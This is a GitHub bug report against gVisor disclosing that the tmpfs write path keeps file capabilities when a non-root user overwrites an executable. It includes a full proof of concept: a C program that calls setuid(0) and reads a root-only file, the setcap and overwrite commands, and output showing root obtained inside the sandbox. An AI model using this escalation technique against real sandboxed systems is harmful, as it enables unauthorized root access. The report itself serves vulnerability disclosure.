Skip to content

File Capabilities Survive Non-Root Rewrite #13063

@anhvuleduc

Description

@anhvuleduc

Description

Description

  • gVisor preserves file capabilities on a writable executable after a non-root rewrite on the writable executable. Linux drops file privilege on this mutation. Under gVisor, an unprivileged user can rewrite the file's contents and then execute it with the retained file capability (which enables setuid(0)), gaining root inside the sandbox.
  • Affected version:

Root cause

  • In pkg/sentry/fsimpl/tmpfs/regular_file.go, the function pwrite only does ClearSUIDAndSGID but not security.capability
rw := getRegularFileReadWriter(f, offset, pgalloc.MemoryCgroupIDFromContext(ctx))
n, err := src.CopyInTo(ctx, rw)

f.inode.touchCMtimeLocked()
for {
	old := f.inode.mode.Load()
	new := vfs.ClearSUIDAndSGID(old)
	if swapped := f.inode.mode.CompareAndSwap(old, new); swapped {
		break
	}
}
putRegularFileReadWriter(rw)

Steps to reproduce

Linux behavior

  • In Linux, when an executable is overwritten by a low privileged user, it should lose capabilities.
  • On a Linux machine, we can create two binaries: normal, which is a legit executable, and evil, which is a malicious one. Also, we create a secret.txt file, which is readable for root only
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat evil.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main(void) {
  char buf[128] = {0};
  printf("before uid=%d euid=%d\n", getuid(), geteuid());
  if (setuid(0) != 0) perror("setuid");
  printf("after uid=%d euid=%d\n", getuid(), geteuid());
  int fd = open("secret.txt", O_RDONLY);
  if (fd < 0) { perror("open"); return 1; }
  read(fd, buf, sizeof(buf) - 1);
  puts(buf);
  return 0;
}

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat normal.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
  printf("before uid=%d euid=%d\n", getuid(), geteuid());
  return 0;
}

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat secret.txt
flag{gvisor}

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ls -l secret.txt
-rwx------ 1 root root 13 Apr  5 19:17 secret.txt
  • After that, we set normal to be writable and executable, and also set capability for it
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ls -l normal
-rwxrwxrwx 1 anhvuleduc anhvuleduc 16304 Apr  5 21:29 normal

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ sudo setcap cap_setuid+ep normal

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ getcap normal
normal cap_setuid=ep

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ./normal
before uid=1000 euid=1000
  • After that, we overwrite normal by evil, which should remove its capability
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat evil > normal

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ getcap normal

┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ./normal
before uid=1000 euid=1000
setuid: Operation not permitted
after uid=1000 euid=1000
open: Permission denied

gVisor behavior

  • First, we start a Docker container with runsc runtime with docker run --runtime=runsc --rm -it ubuntu /bin/bash
  • We then set up similarly to the above (note that we need to install gcc for compiling, and libcap2-bin for setcap)
root@ea7337b0cd6b:/# cat evil.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main(void) {
  char buf[128] = {0};
  printf("before uid=%d euid=%d\n", getuid(), geteuid());
  if (setuid(0) != 0) perror("setuid");
  printf("after uid=%d euid=%d\n", getuid(), geteuid());
  int fd = open("secret.txt", O_RDONLY);
  if (fd < 0) { perror("open"); return 1; }
  read(fd, buf, sizeof(buf) - 1);
  puts(buf);
  return 0;
}
root@ea7337b0cd6b:/# cat normal.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
  printf("before uid=%d euid=%d\n", getuid(), geteuid());
  return 0;
}
root@ea7337b0cd6b:/# cat secret.txt
flag{gvisor}
root@ea7337b0cd6b:/# ls -l secret.txt
-rwx------ 1 root root 13 Apr  5 14:45 secret.txt
root@ea7337b0cd6b:/# ls -l normal
-rwxrwxrwx 1 root root 16048 Apr  5 14:44 normal
root@ea7337b0cd6b:/# setcap cap_setuid+ep normal
root@ea7337b0cd6b:/# getcap normal
normal cap_setuid=ep
  • After that, by overwriting normal by evil, the low privileged user can gain root access since gVisor does not clear capability after mutation of the file
root@ea7337b0cd6b:/# su user1
$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
$ cat evil > normal
$ getcap normal
normal cap_setuid=ep
$ ./normal
before uid=1001 euid=1001
after uid=0 euid=0
flag{gvisor}

runsc version

runsc version release-20260427.0

docker version (if using docker)

Client:
 Version:           27.5.1+dfsg4
 API version:       1.47
 Go version:        go1.24.9
 Git commit:        cab968b3
 Built:             Thu Nov  6 10:43:49 2025
 OS/Arch:           linux/amd64
 Context:           default

Server:
 Engine:
  Version:          27.5.1+dfsg4
  API version:      1.47 (minimum version 1.24)
  Go version:       go1.24.9
  Git commit:       61416484
  Built:            Thu Nov  6 10:43:49 2025
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.7.24~ds1
  GitCommit:        1.7.24~ds1-10
 runc:
  Version:          1.3.3+ds1
  GitCommit:        1.3.3+ds1-2
 docker-init:
  Version:          0.19.0
  GitCommit:

uname

Linux DESKTOP-LBURQ6K 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

kubectl (if using Kubernetes)

repo state (if built from source)

No response

runsc debug logs (if available)

Metadata

Metadata

Assignees

No one assigned

    Labels

    type: bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions